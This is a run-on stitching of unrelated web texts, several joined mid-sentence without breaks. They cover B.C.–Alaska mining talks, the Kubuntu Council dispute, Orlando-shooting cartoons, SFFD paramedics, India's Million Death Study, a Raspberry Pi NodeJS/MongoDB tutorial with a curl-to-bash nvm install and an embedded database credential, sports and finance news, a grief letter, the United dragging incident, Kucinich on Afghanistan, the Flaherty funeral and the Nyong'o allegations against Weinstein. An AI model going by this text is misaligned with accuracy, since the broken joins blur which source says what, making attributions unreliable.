"We have taken our time and done it right."
Bennett and senior officials will host the majority of meetings in the state capital of Juneau. They will also spend a day in the native community of Ketchikan, visit commercial fishermen along the Taku River and fly to a B.C. mine site by helicopter.
The minister said his main goal will be to correct the impression that the B.C. government approves mine permits under any circumstance, with little care for the environment.
Imperial Metals, which has spent $67 million cleaning up the region, was given a restricted permit to return to limited production of Mount Polley last month. Bennett has said sediment testing will have to continue for decades.
Bennett has repeatedly called Alaskans' concerns "legitimate" and believes that presenting detailed information about the Alaska government's role in approving B.C. mines will alleviate concerns.
His delegation will also seek progress on a memorandum of understanding about how the two jurisdictions could deal with transboundary issues such as testing water that flows from British Columbia into Alaska.
Bennett expects much of the week's discussions to revolve around the Mount Polley disaster and, to a lesser extent, approval of the Red Chris Mine. The mine, about 130 kilometres from the Alaska border, went into full production in June. Imperial Metals owns both projects.
"We'll try to give some comfort to those who are worried," Bennett said. "They have every right to ask these questions and I think we need to go there and provide good answers."
But a collection of conservationists, tribal groups and industry associations believe Bennett is missing their point.
A 'tough crowd'
The issue for southeastern Alaskans isn't a lack of information, it's their need for "enforceable protections," said Chris Zimmer, with Rivers Without Borders.
The groups are calling for concrete measures to protect Alaska's water and fish, including bonds provided up front to cover another Mount Polley-type accident, compensation if Alaskan interests are harmed, and a study on the long-term effects of mining.
Zimmer said an agreement solely to share information would not change anything. He said the groups want regulations enforced by the International Joint Commission, a Canadian-American organization working to protect shared waters.
Dale Kelley, executive director of the Alaska Trollers Association, said the visiting minister should expect a "tough crowd."
"I do welcome him to our region and I'm happy he's making outreach," she said. "But it's going to take a lot more than some quick meetings."
Alaska's Lt.-Gov. Byron Mallott and a delegation from the state made their own unprecedented visit to British Columbia last May to tour the area where the Mount Polley dam collapsed.
Mallott and his officials invited Bennett back to Alaska for his current trip after their series of meetings in B.C.By now the news has spread quite quickly; the Ubuntu Community Council (or “CC” for short) had attempted to boot Jonathan Riddell as a community leader, asking him to “take an extended break” from the Kubuntu Council (“KC” for short) citing personality conflicts and breaches of the Ubuntu code of conduct.
So, what just happened? On the various news sites and through some broken telephones there’s several misconceptions about what happened. Being an outsider the whole issue is rather complicated, I know nothing of the structure around Canonical, Ubuntu, and these councils and how all this relates to Kubuntu.
This isn’t going to be a post about the he-said-she-said arguments, but is more of an outsiders explanation into how all this fits together and what it really means.
I’d like to mention I’ve received corrections in the comments, and would like to give a thank-you to the commenters for their feedback.
What is the Community Council? How does it work?
The Community Council is the highest governing body representing the Ubuntu umbrella of projects, including its derivatives. The CC is a democratic organisation with 7 seats available for elected representatives and a 8th tie-breaking seat being reserved by Mark Shuttleworth. The group uses a well defined electoral process which receives votes and nominations from the Ubuntu membership and community at large.
The group manages non-technical communication and governance of the Ubuntu project and derivatives. An important part of this event is the mandate that the council operates transparently to the wider community, the idea being that they would also serve as a bridge between the commercial arm of Canonical and the open-source community at large.
What is the Kubuntu Council?
Just like a larger governing body, the Community Council has delegated sub-councils to represent larger projects within the community. The Kubuntu Council is one such branch managing the KDE-oriented Kubuntu project. Like the CC, the Kubuntu Council is composed of members elected by the community.
When the system works the idea is that the Kubuntu Council will take care of project-level matters independently, and the Kubuntu Council lead will attend meetings to trade information and matters upstream with the Community Council.
So… Does Canonical Own Kubuntu?
I will note here that Canonical is not one of the active parties in this dispute – this section is only meant to clarify misconceptions I’ve seen online, and to help explain the next sections.
Canonical owns the trademark for Kubuntu – so as a ‘brand’ they own Kubuntu. Beyond that Canonical does not directly fund Kubuntu, instead they offer infrastructure in the form of repositories and servers, where Kubuntu is allowed to piggyback off the Canonical/Ubuntu project network and work more closely with upstream resources.
But Canonical does not employ the Kubuntu staff; previously they did employ staff but Blue Systems stepped in when Canonical cut funding. Blue Systems has since become a much larger part of what drives Kubuntu than Canonical. Both of these together have made Kubuntu (as a project) much more than a solely Canonical venture.
In over-simplified terms Canonical owns the franchise and Blue Systems runs the hottest ‘non-headquarters’ location.
Who is Jonathan Riddell?
Jonathan is an ex-Canonical employee who was scooped up by Blue Systems after Canonical cut funding.
Part of Canonical cutting Kubuntu funding was terminating Jonathan as an employee of Canonical. He essentially retained his position in all community aspects of Ubuntu, just without the paycheque: he is a Kubuntu Council member, has access to the Canonical infrastructure, and helps manage the Kubuntu project.
Blue systems picked him up and he is able to work full-time in an almost identical capacity that he did as a Canonical employee.
What was the Ruckus?
Mainly, there’s some conflicts between Riddell and members of the core Community Council. Riddell had repeatedly pushed several issues which the council was unable to fulfil, leading to frustration on both sides. In the end both sides showed the stress they were under, at which point the Community Council privately decided they would oust Jonathan from the Kubuntu Council.
The KC replied arguing that the decision was not made transparently, questioned how much power the Community Council should have over the community-elected Kubuntu Council roster, and was incensed by the CC not retracting the decision before a transparent conversation. The Kubuntu Council didn’t want to negotiate “with a gun to [their] heads”.
Who Ultimately Gives the Orders?
The Kubuntu Council is bound by their constitution to obey “legitimate orders” from the Community Council; if the CC makes a decision in line with the Code of Conduct and its own constitution the Kubuntu Council must obey that request. But no provisions have been made for when the two groups disagree over a decision. The Community Council may be forced to cut off Jonathan or supporters from Ubuntu support infrastructure, such as Canonical repositories and funding, and the group has already stated that he is keeping his upload rights and ability to request funding. However given the hostilities, revoking those privileges might be a hardball solution, and one that the Kubuntu Council may not have control over.
The reason Kubuntu believes it can reject an authoritative attempt is threefold; it had never happened before so there was no ‘precedent’, there was no warning for Jonathan to correct the ‘behavioural issues’, and the largest reason is because the Kubuntu Council does not feel the decision was legitimate.
The entire issue hinges on the legitimacy of the order; Kubuntu Council only has to obey legitimate orders, and questions whether a decision made behind closed-doors when the mandate is transparency be considered legitimate.
In short: yes the Community Council can remove people from its sub-councils, but it might have terrible fallout if done improperly. They can’t really tell the Kubuntu crew what to do if Kubuntu doesn’t find the orders legitimate. But if push comes to shove it is possible for the Community Council and Canonical to revoke infrastructure access if a resolution cannot be found.
What Happens Now?
Right now the Community Council is exerting control over projects using their infrastructure much like a company would manage employees; if someone isn’t in line they can be moved, removed, or suspended without public debate.
The problem with this strategy is the fact that communities don’t like being dictated to, and in attempting to do so rubbed the community the wrong way. The Community Council literally gave an order and the Kubuntu Council said “no”. So what happens now?
By removing Jonathan from his position in the Kubuntu community, it also affects his value for Blue Systems. If he were removed, it brings into question what Blue Systems and the community would do in response; Riddell is a Blue Systems employee and carries significant community favour from KDE users.
The first thing that can happen is… Nothing. Birds will sing, grass will grow, and the KC will make the CC grit their teeth a bit. Maybe Jonathan will be removed after a more transparent meeting, maybe not. If the KC doesn’t remove Jonathan, then it may force Canonical into an awkward situation where it must back the council and start cutting off infrastructure.
Second, if this is resolved, Mark and the Community Council may revise its community strategy and put in safeguards for these situations and possibly enforce a more formal structure over the ad-hoc sub-community model. This would need to apply to all communities as singling out specific projects would simply inflame the situation, in the future preventing other projects from entering a similar situation.
Third, instead of a split the Kubuntu crew might attempt to separate their internal governance a bit; possibly designating a separate group to work with the Community Council while the main leadership remains as-is. Ubuntu can work with their partners effectively without disturbing the leadership, but this solution complicates communication and doesn’t fix several underlying issues.
The next thing that may happen could be the start of a more gradual separation; Kubuntu as a project may slowly take on more infrastructure, growing apart and leaving the nest – maybe with Canonicals blessing and the transfer of the Kubuntu trademark. Who knows.
Lastly both sides could calmly file into a room before sizing up chairs to throw at each other; terrible words being said about peoples mothers before forking Kubuntu into ‘Librebuntu’. This would hurt as the Kubuntu and KDE developers already have poor relations with Canonical, meaning a fork would likely lead to a mass exodus from Kubuntu to the new project (much like the LibreOffice fork). While the freedom of not having Canonical or the Community Council dictate policy would be refreshing, the loss of infrastructure would be a certain setback.
In the End…?
In the end, I think we all simply hope that projects, companies, communities, and benevolent dictators can all work together in relative harmony. The situation isn’t ideal, but a major part of building strong communities is occasionally finding out something doesn’t work – and fixing it; hopefully to the benefit of everyone involved.
Right now both sides are holding strong in a ‘grey zone’ with their actions – the CC seems to be meting out harsh decisions without clear policy, and the KC is refusing to listen until the CC backpedals on its position.
That’s my breakdown of the politics; I hope it helped and provided insight into this whole messy affair. I hope to gets all sorted out in the long run. If I have anything wrong, please do let me know in the comments and I’ll make the relevant corrections.IN THE IMMEDIATE aftermath of the Orlando shooting this past weekend, much of the artwork in response featured the same go-to images and symbols: Weeping monuments. Silhouettes of labeled semiautomatic guns. Rainbow flags running red. American flags stitched together with ballistics. And sometimes, a Pulse reference rendered like a national EKG.
But during the week, the cartoons drawn in response have turned more biting and distinctive, as the political rhetoric escalates and the social finger-pointing increases and the conversational stakes are warped by the news cycles of an election year.
As we mourn and remember and rage and console, here are 15 of the most political Orlando-shooting cartoons to emerge so far:
STEVE BENSON (Arizona Republic):
(STEVE BENSON/Arizona Republic 2016)
ANDY MARLETTE (News Journal):
Cartoon: Never forget how @realDonaldTrump responded to a moment of national horror #OrlandoUnited pic.twitter.com/fFoAB6rUo7 — Andy Marlette (@AndyMarlette) June 13, 2016
TOM TOLES (The Washington Post):
(TOM TOLES/The Washington Post 2016)
JACK OHMAN (Sacramento Bee):
(JACK OHMAN /Sacramento Bee 2016)
LISA BENSON (Washington Post Writers Group):
CLAY BENNETT (Chattanooga Times Free Press):
(CLAY BENNETT/Chattanooga Times Free Press 2016)
DARRIN BELL (Washington Post Writers Group):
MATT BORS (Universal Uclick):
(MATT BORS /Universal Uclick 2016)
MIKE LUCKOVICH (Atlanta Journal Constitution):
(MIKE LUCKOVICH/Atlanta Journal Constitution 2016)
JEN SORENSEN (Universal Uclick):
(JEN SORENSEN/Universal Uclick 2016)
MATT DAVIES (Newsday):
MIKE LESTER (Washington Post Writers Group):
CHAN LOWE (Tribune Content Agency):
(CHAN LOWE/Tribune Content Agency 2016)
ROB ROGERS (Pittsburgh Post-Gazette):
JOHN DEERING (Arkansas Democrat Gazette):
(JOHN DEERING/Arkansas Democrat Gazette & Creators.com 2016)
.Have you ever called 911 in a medical emergency and wondered why the San Francisco Fire Department arrived?
On Saturday, SFFD command staff, fire commissioners and crews celebrated the twentieth anniversary of providing advanced life support and paramedic care in San Francisco. On July 1, 1997, the Department of Public Health's Paramedic Division merged with the San Francisco Fire Department.
Command staff, Fire Commisisioners and crews all celebrating 20 years of Paramedic Services from #yoursffd today pic.twitter.com/YWuEY0BLk8 — San Francisco Fire (@sffdpio) July 1, 2017
20 years ago today, #yoursffd started to provide Paramedic services to San Francisco: https://t.co/cdZWYmbvu7 pic.twitter.com/7Y6O0cdaNd — San Francisco Fire (@sffdpio) July 1, 2017
"[P]aramedics will be stationed at firehouses to ride to the rescue with firefighters," the Chronicle reported on March 4, 1997. "More firefighters will be trained up to paramedic status."
SFFD isn't the only permitted ambulance provider in the city. Two private organizations also respond to 911 calls: American Medical Response and King American Ambulance Company. They arrive on scene after calls for emergency and non-emergency medical services are made throughout the city.
After receiving emergency calls, Department of Emergency Management (DEM) dispatchers coordinate with the closest available first responder and ambulance. Dispatchers then determine which hospital a patient is destined for, depending on the patient's needs.
Patients who have been transported in an ambulance may also receive a bill from the SFFD.
Count of transports to hospitals from June 2016 to May 2017. | Image: San Francisco Emergency Medical Response
According to its website, SFFD responds to more than 73,000 emergency medical service calls per year—an average that tops 200 calls each day. As of 2010, fire officials provided about 80% of the ambulance response in the City and County of San Francisco.
San Francisco also allows access to a full dataset of all 911 fire unit responses to calls, including medical incidents. Records include the address (block), call type, date and time. If the unit is listed as private, then a private ambulance company responded to the call.
The SFFD's Division of Emergency Medical Services also administers other health initiatives, including an asthma outreach program and participates in clinical research studies.
Did you know your ambulances are required to POST at several locations throughout the city so we can serve you the best.? Next time you see — San Francisco Fire (@sffdpio) January 28, 2017
one go say hello. These posting locations allow us to deploy medics evenly throughout the city. They revolve hourly, if not sooner. https://t.co/1wfSQa4b68 — San Francisco Fire (@sffdpio) January 28, 2017
Back in 1997, ambulances were first placed at fire stations, with paramedics working 24-hour shifts. Soon after, between 1999 and 2004, the implementation of paramedic-staffed engine companies began.
As part of a reconfiguration completed in July 2009, ambulances are now posted at strategic locations throughout the city so paramedics can be evenly deployed.MAGADI, India — M. R. Gundappa, 60, died the way most Indians do: with no doctor present, no monitors beeping by his side and no written record. The only person present was his wife, Sushilamma, 48, who spent the day of his death trying to get him admitted to a government hospital where he could be treated for abdominal pain.
On a recent afternoon, Sushilamma spent an hour trying to retrieve her memories of the fateful day in 2013 for an official from the Office of the Registrar General of India, who sifted through her story for clues to what had caused her husband’s death.
Nearly 70 percent of deaths in India, five million in all each year, take place in the absence of medical supervision, according to the office, which is responsible for registering births and deaths.
To fill this gap, a new survey, the Million Death Study, is trying to turn the clock back on a million premature deaths that took place between 2001 and 2014, sifting through evidence provided by families and caregivers. By assigning causes to these deaths, based on the accounts of witnesses, the study hopes to identify the major causes of premature death in India.How to Install a NodeJS Web Server using Mongo DB on your Raspberry Pi
1. Install NVM (Node Version Manager)
curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.33.0/install.sh | bash 1 curl - o - https : / / raw.githubusercontent.com / creationix / nvm / v0. 33.0 / install.sh | bash
2. Update Bash Profile
This will give you the ability to install NodeJS versions (comes with npm).
echo 'PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin"' >> ~/.bashrc echo 'export NVM_DIR="$HOME/.nvm"' >> ~/.bashrc echo '[ -s "$NVM_DIR/nvm.sh" ] &&. "$NVM_DIR/nvm.sh"' >> ~/.bashrc source ~/.bashrc 1 2 3 4 5 6 7 echo 'PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin"' >> ~ /.bashrc echo 'export NVM_DIR="$HOME/.nvm"' >> ~ /.bashrc echo '[ -s "$NVM_DIR/nvm.sh" ] &&. "$NVM_DIR/nvm.sh"' >> ~ /.bashrc source ~ /.bashrc
3. Install a NodeJS Version
Using NVM, we will install NodeJS and be able to access node and npm commands.
nvm install 5.9.1 nvm use 5.9.1 nvm alias default 5.9.1 1 2 3 4 5 nvm install 5.9.1 nvm use 5.9.1 nvm alias default 5.9.1
4. Check Installations
Verify that you have done the previous steps below.
npm --version node -v 1 2 3 npm -- version node - v
5. Install MongoDB, Create Database, and Update config/database.js localUrl
Now we will install MongoDB so that you can have a Mongo Database on your Raspberry Pi.
sudo apt-get install mongodb-server -y sudo mkdir -p /data/db sudo service mongodb start 1 2 3 4 5 sudo apt - get install mongodb - server - y sudo mkdir - p / data / db sudo service mongodb start
Now you have to update your database config file for the directory we just created in /data/db.
This is what my ~/projects/node-todo/config/database.js file looks like:
module.exports = { remoteUrl :'mongodb://node:nodeuser@mongo.onmodulus.net:27017/uwO3mypu', localUrl:'mongodb://localhost/db' }; 1 2 3 4 module.exports = { remoteUrl :'mongodb://node:nodeuser@mongo.onmodulus.net:27017/uwO3mypu', localUrl :'mongodb://localhost/db' } ;
6. Grab Node-ToDo files from Github
This is a beginner project created by https://scotch.io/
git clone https://github.com/scotch-io/node-todo.git cd node-todo 1 2 3 git clone https : / / github.com / scotch - io / node - todo.git cd node - todo
7. Install Packages
Install the node packages via npm. This may take a minute or two so go grab a coffee. 🙂
npm install 1 npm install
8. Edit Config and Startup the Server!
node server.js 1 node server.js
9. View Your Application
http://localhost:8080 or to access from a computer on the same network http://IP_OF_YOUR_PI:8080 1 2 3 4 5 http : / / localhost : 8080 or to access from a computer on the same network http : / / IP_OF_YOUR_PI : 8080
10. I can’t find my IP Address…
ifconfig | grep inet pi@raspberrypi:~/projects/node-todo $ ifconfig | grep inet inet addr:10.0.0.22 Bcast:10.0.0.255 Mask:255.255.255.0 1 2 3 ifconfig | grep inet pi @ raspberrypi : ~ / projects / node - todo $ ifconfig | grep inet inet addr : 10.0.0.22 Bcast : 10.0.0.255 Mask : 255.255.255.0
You want the first IP address shown after inet addr. Mine is 10.0.0.22 You can now head to http:10.0.0.22:8080 to view your application!
In the terminal, you should see all HTTP requests to your Raspberry Pi.
Please comment below if you would like to see more tutorials like this, or have any questions!Moody’s Investors Service says the Canada Pension Plan Investment Board’s $12 billion purchase of GE Capital’s private equity loans is “credit negative.”
In a report Wednesday morning, the credit rating agency said this week’s transaction “further concentrates the pension plan’s portfolio in less-liquid alternative investments that are difficult to evaluate in terms of both price and risk.”
The “sizable” investment is a big bet on private equity and will increase the Canadian pension giant’s private-equity portfolio by 25 per cent, according to analysts Jason Mercer and Lan Wang. Private equity will now comprise nearly 23 percent of CPPIB’s total portfolio, they said.
CPPIB is not alone in ramping up alternative investment exposure to less liquid assets such as private equity, infrastructure and real estate, and these investments are consistent with the Canadian pension giant’s long-term objectives and strategy of increased investments in global private asset classes, the analysts said.
“However, these less-liquid assets tend to suffer from price opacity and additional risk measurement complexity because of a lack of market data,” they wrote.
CPPIB executives said the purchase of GE Capital’s book of loans in Antares Capital and its platform for further lending in the mid-market segment will complement the pension management organization’s existing private lending business and generate longterm returns.Darren Bent came off the bench during Aston Villa's 1-1 draw with Southampton on Monday night.
Championship side Brighton & Hove Albion have signed Aston Villa striker Darren Bent on a one-month loan deal.
The 30-year-old has made eight appearances for the Premier League club this season, seven as a substitute.
Bent was capped 13 times by England and Brighton boss Sami Hyypia said: "I hope he will score plenty of goals for us during his time with us."
Meanwhile, Villa have recalled teenage striker Callum Robinson from his loan spell at Preston North End.
After a fruitless first month at Deepdale, 19-year-old Robinson has scored five goals in five games, including a hat-trick in their FA Cup first-round tie at Havant & Waterlooville.
Brighton boss Sami Hyypia on Bent: "Three years ago he was a regular in the England squad under Fabio Capello; there is no doubting his ability to score goals."
Bent, who has scored 25 goals in 72 appearances since moving to Villa Park in January 2011, spent last season on loan at Fulham.
In total, he has scored 184 goals in 464 career appearances, as well as netting four times for the national team.
"His record speaks for itself. He is a top-class striker with more than 100 Premier League goals with Charlton, Spurs, Sunderland and Aston Villa," manager Hyypia told the club website.
"Three years ago he was a regular in the England squad under Fabio Capello; there is no doubting his ability to score goals.
"He also wants to play regular games and that is evident in his willingness to step down from the Premier League to the Championship."
Bent, who will remain at the Amex Stadium until 29 December, could make his debut for Brighton against Fulham on Saturday.Dear Adeline,
I’m so tired, sweet baby girl. Missing you is exhausting.
It wears on my heart, mind, body, and emotions.
Since you’ve been gone, days have passed filled with a sense of never feeling I have enough time for anything. With each day that passes, I continue to rise with an overwhelming fear that I won’t have enough time to get to everything. When I start a new task, there’s an overwhelming feeling that I won’t have enough time to complete it, that I will have to leave things undone.
I realized tonight that all those feelings stem from the overwhelming feeling of not having had enough time with you, not being able to finish what we started. I’ve always described myself as someone who finishes what she starts. I don’t like things undone. I’m almost obsessive about it.
Yet my time with you feels undone.
We didn’t have enough time you and me.
That feeling of leaving things undone haunts me. It’s seeped into every crevice of my life. Over the past year, I’ve tried every trick to help me find more time. I’ve read books, made a habit of daily planning, organized everything in my house, researched minimalism, anything to help relieve this all-consuming feeling of not having enough time.
What I didn’t realize, until now, was I didn’t need more time for my list of things to do; I was searching for more time with you. I’ve been chasing what I cannot have, searching for what I cannot find.
Unfortunately, we will never have more time together, sweet baby girl; we will only have what we were given, those oh so few precious moments. The same is true in my life today. I can do a million things, learn a thousand tricks to try, and find more time in my day; however, the reality is there will never be enough, there will only be what we are given.
I fear I’m not spending enough time in places that truly matter.
I fear I’m not doing enough good with my time.
I fear I’m wasting the time I have left.
We’ve all only been given a certain amount of time on this earth. I’m trying to find blessings in the time I have now and do something good while I’m here.
I’m tired of chasing after something I know is illusive.
I’m just tired, baby girl.
So very tired.
Since you’ve been gone, I’ve been running as fast as I can chasing after a lifetime with you. I’m finally slowing down enough to realize, we only have the time we are given. No more, no less. There is no reason to search for more, it is what it is, but we must make the absolute most of each and every of those precious moments we do have.
Love you, Adeline. Miss you so, so much.
Love, Mom
Time is precious friends, don’t waste a single second.Passengers on a United Express flight from Chicago to Louisville, Ky., were horrified when a man was forcibly removed--violently wrenched from his seat and physically dragged down the aisle. [...] Videos of the scene have prompted calls to boycott United Airlines.
[...] The Chicago Department of Aviation [...] says the actions of the security officers were "not condoned by the Department" and that one individual has been placed on leave pending a review.
[...] Passengers had already boarded on Sunday evening [April 10] at O'Hare International Airport when United asked for volunteers to take another flight the next day to make room for four United staff members who needed seats.
The airline offered $400 and a free hotel, passenger Audra D. Bridges told the Louisville Courier-Journal. When no one volunteered, the offer was doubled to $800. When there were still no bites, the airline selected four passengers to leave the flight--including the man in the video and his wife.
"They told him he had been selected randomly to be taken off the flight", Bridges said.
[...] The man said he was a doctor and that he "needed to work at the hospital the next day", passenger Jayse D. Anspach said.
[...] Both Bridges and Anspach posted videos of three security officers, who appear to be wearing the uniforms of Chicago aviation police, wrenching the man out of his seat, prompting wails. His face appeared to strike an armrest. Then they dragged his limp body down the aisle.
Footage shows the man was bleeding from the mouth as they dragged him away. His glasses were askew and his shirt was riding up over his belly.
"It looked like he was knocked out, because he went limp and quiet and they dragged him out of the plane like a rag doll", Anspach wrote.Rep. Dennis Kucinich (D-OH) again called for the United States to end its involvement in Afghanistan after it was revealed that NATO officials were duped into holding negotiations with a man posing as a senior member of the Taliban.
“The war in Afghanistan is taking place in a netherworld where facts and common sense have no place,” Kucinich said Tuesday. “Elections are fake. Our deadline to withdraw is a fake. Now, we learn that a fake Taliban leader has been leading us to believe that NATO was facilitating high-level talks between Taliban leadership and the corrupt Afghan central government we’re propping up.”
“The only real thing about this war is the dead and wounded soldiers and civilians, the wasted tax dollars and the mounting evidence telling us to get out,” he added.
A man posing as Mullah Akthar Mohammad Mansour, a senior leader of the Taliban, was flown on British military aircraft to Kabul to meet with Afghan President Hamid Karzai and NATO officials, according to the Washington Post.
“It’s not him,” a diplomat told the New York Times. “And we gave him a lot of money.”
Rep. Kucinich was also highly critical of US-supported President Karzai, saying his regime was “among the most corrupt in the world.”
“President Karzai rules through crony capitalism,” he said. “He works to protect his cronies rather than the Afghan people. Our tax dollars are going to the Karzai family and its supporters to buy villas in Dubai.”
Private security companies with ties to President Karzai and other Afghan officials have come under investigation for possibly using American money to bribe the Taliban, the New York Times reported in June.
“People think the insurgency and the government are separate, and that is just not always the case,” a NATO official in Kabul told the New York Times. “What we are finding is that they are often bound up together.”
Rep. Kucinich blasted recent comments by a NATO official, who said children may be safer growing up in Kabul than London or Glasgow.
“NATO officials have become so skilled in self-deception that a senior NATO official recently claimed that Kabul is safer for children than most western cities. Meanwhile those who continue to advocate for the war apply the dark arts of public relations to manufacture support for a war which is neither winnable, nor moral nor sane.”
Last year, President Barack Obama announced July 2011 as the date the United States would begin withdrawing troops from Afghanistan, but according to administration and military officials, the Obama administration has now decided to de-emphasize its plans to begin withdrawing US forces from Afghanistan in 2011, instead focusing on a 2014 withdrawal date.
“The War in Afghanistan is longer than any other war America has ever fought,” Kucinich said. “It has cost U.S. taxpayers more than a trillion dollars. More than 1300 Americans have died, thousands more wounded. Countless innocent Afghan civilians have died.”
Rep. Kucinich plans to enter a privileged resolution to force Congress to vote on withdrawing US troops from Afghanistan when the new 112th Congress convenes in January, but the resolution is unlikely to be passed, since the majority of those in Congress still support the war.
Sixty-one members of the House of Representatives, including Rep. Kucinich, have signed a bipartisan letter to President Barack Obama opposing the presence of US troops in Afghanistan through 2014.From Bulbapedia, the community-driven Pokémon encyclopedia.
Volcanic ash (Japanese: かざんばい volcanic ash) is a raw material used to make items at the Glass Workshop on Route 113 in Pokémon Ruby, Sapphire, and Emerald and Pokémon Omega Ruby and Alpha Sapphire. Ash |
64.
“We have lost a partner in politics,” Harper said, addressing Flaherty’s widow, Ontario MPP Christine Elliott, and their triplet sons, John, Galen and Quinn. “But you have lost a partner in life.”
In a warm, heart-felt eulogy with flashes of humour, Harper recalled their give-and-take relationship as they steered the Canadian economy.
“Our divergences always narrowed and usually vanished,” Harper said.
“When they didn't, occasionally I imposed a final decision. Occasionally, I decided he was probably right. And occasionally, I decided he was wrong but let him have his way, just because I got so tired of arguing with him.”
Harper said he hesitated years ago when asked whether Flaherty was the best finance minister in the world because he was reluctant “to shell out too much praise.”
He joked that after careful consideration, he answered: “He is, without a doubt, the best finance minister per inch in the world.”
Harper removed that qualification when Flaherty retired, telling his friend that “he had truly been, over these eight years, in my judgment, the best finance minister in the world, if not indeed the best in our history.”
The prime minister paused to fight back tears when he told Flaherty “not to be a stranger.”
“I don’t want you to misunderstand me,” Harper said. “I do not grieve for Jim Flaherty. I know that for Jim, the Lord has prepared a place where he can be free from the afflictions of recent times, and in joy.”
Flaherty’s sons Galen and Quinn eulogized Flaherty as a father who would continue to guide them in their lives.
“You were the best father that three boys could ask for,” Quinn said.
Flaherty taught his boys to value four things that his family had “in abundance,” Quinn said: “friendship, family, faith and love.”
“Dad, I love you, we love you,” Quinn said. “Put your feet up, lay your head back, close your eyes and relax. We will take it from here.”
Son Galen joked that his father had “a relaxed side, and a not-so-relaxed side.”
But, Galen said, “he loved his family, he definitely loved his friends and he loved his country.”
Elliott recalled a “driven, intense perfectionist” who would also do anything for his children.
Turning to address her sons standing behind her, Christine Elliott said: “Your father loved you completely.”
Flaherty’s sister, Norah, also delivered a short eulogy, saying that while “the second-best thing about Jimmy is that he is a great Canadian,” the first-best thing is he was a “terrific brother.”
The Flaherty family has been holding annual reunions for 33 years, she said, “and Jimmy never missed a single one. As Jimmy would say, ‘family first.’”
Mourners in green
Before the service, RCMP officers in their red serge uniforms carried Flaherty’s casket into Toronto’s St. James Cathedral to the sounds of the choir singing “The Burial Sentences” by William Croft.
A Toronto Police honour guard also stood outside the church as Elliott and her sons made their way inside.
Hours before the service got underway, politicians of all stripes gathered at the church, many wearing green ties or other articles of clothing to mark Flaherty’s Irish heritage. Mourners were also given green scarves to wear around their necks.
Liberal Leader Justin Trudeau, NDP Leader Thomas Mulcair and a host of cabinet ministers and opposition MPs are in attendance.
The church choir and organist played hymns as mourners filed into the church. Dignitaries could be seen mingling and exchanging hugs before taking their seats.
Current and former premiers, prime ministers and governors-general are also in attendance, including Gov.-Gen. David Johnston and his wife, Sharon, former prime minister Brian Mulroney with his daughter, Caroline, and former governor general Adrienne Clarkson and her husband, John Ralston Saul.
An overflow of mourners watched the service in one of four tents erected on the cathedral’s front lawn.
Flaherty died last week, less than a month after resigning his post as finance minister. He had been suffering from a painful skin condition, bullous pemphigoid, but said that it had nothing to do with his decision to step down. Rather, he cited a pending move to the private sector and a desire to spend more time with Elliott and their sons.
Following Flaherty’s death, tributes flowed in from politicians across the spectrum, who spoke admiringly of Flaherty’s political savvy, strong sense of humour and ability to make time for friends and family despite his busy schedule.
Flags at Parliament Hill’s Peace Tower and the Ontario legislature were lowered to half-mast, while Toronto’s CN Tower was lit up in green lights.
Flaherty’s state funeral is the first since August of 2011, when former NDP Leader Jack Layton was given the honour. State funerals are generally reserved for current and former prime ministers, governors general and sitting cabinet ministers.
Ted Menzies, who served as Flaherty’s parliamentary secretary, said Wednesday that his former colleague “gave his heart and his soul for this country.”
He recalled Flaherty’s “compassion for those who couldn’t help themselves,” and his willingness to fight for what he believed in.
“He was feisty, he was an Irishman, he had a temper and he knew how to do battle,” Menzies told CTV’s Power Play. “But he knew how to do battle in all the right places.”
Flaherty’s communications director, Chisholm Pothier, said he will remember how Flaherty handled the impact of the global financial crisis “when it hit full-bloom in 2008,” including a massive stimulus program that put the country into deficit.
“He was the minister of all Canadians and the fate of Canadians was very important for him,” Pothier told Power Play. “He wasn’t going to be an ideologue.”Image copyright Reuters Image caption Lupita Nyong'o won an Oscar for her role in 12 Years a Slave
Oscar-winning actress Lupita Nyong'o has accused movie mogul Harvey Weinstein of harassment.
She spoke out in a New York Times article, saying she was lured to his room under false pretences.
He then said that he wanted to give her a massage, she claimed, saying she initially thought he was joking.
Weinstein faces allegations of sexual misconduct and assault from dozens of women. He has "unequivocally" denied having "non-consensual sex".
Nyong'o, who won a best supporting actress Oscar for 12 Years a Slave, was a drama student at the time of the alleged incident.
She said she had been invited to his family home in Connecticut, apparently to watch a film, shortly after they first met in 2011.
He then insisted that she leave the screening room with him, she claimed.
'I felt unsafe'
Nyong'o, 34, wrote: "Harvey led me into a bedroom - his bedroom - and announced that he wanted to give me a massage.
"I thought he was joking at first. He was not. For the first time since I met him, I felt unsafe.
"I panicked a little and thought quickly to offer to give him one instead: it would allow me to be in control physically, to know exactly where his hands were at all times."
She said she was trying to keep a "semblance of professionalism" in the "bizarre" circumstances, as she had studied body work and massage while at Yale.
She added that she was trying to "buy time", to "figure out how to extricate" herself from the situation.
Image copyright AFP/Getty Image caption Weinstein has described many of the allegations as "patently false"
"Before long he said he wanted to take off his pants," Nyong'o continued. "I told him not to do that and informed him that it would make me extremely uncomfortable.
"He got up anyway to do so and I headed for the door, saying that I was not at all comfortable with that."
She said on another occasion, she attended a screening with Weinstein and expected there to be a group of people for dinner.
Yet she said it was only herself and Weinstein, who suggested they continue their meal in a private room.
'Threat and reassurance'
She refused and said that when she asked Harvey if they were "good", he allegedly said: "I don't know about your career, but you'll be fine."
"It felt like both a threat and a reassurance at the same time," she wrote.
When she met Weinstein again at the premiere of 12 Years a Slave, Weinstein told her he had treated her badly in the past and was "ashamed of his actions", she continued.
She said she thanked him but vowed to never work with the producer.
Nyong'o wrote: "I share all of this now because I know now what I did not know then. I was part of a growing community of women who were secretly dealing with harassment by Harvey Weinstein.
"There is clearly power in numbers. I thank the women who have spoken up and given me the strength to revisit this unfortunate moment in my past."
Employees want to'speak openly'
Police in London, Los Angeles and New York are currently investigating Weinstein, 65.
Meanwhile, a group of Weinstein Company employees have written an open letter asking their employer to release them from the NDAs (non-disclosure agreements) that bar them from speaking publicly about what they have experienced and witnessed.
"We ask that the company let us out of our NDAs immediately... so we may speak openly, and get to the origins of what happened here, and how," they wrote in a letter signed by "Select Members of The Weinstein Company Staff".
Follow us on Facebook, on Twitter @BBCNewsEnts, or on Instagram at bbcnewsents. If you have a story suggestion email entertainment.news@bbc.co.uk.Image copyright Getty Images Image caption Is Dr Dre - born Andre Young - hip-hop's first billionaire?
"The Forbes list just changed."
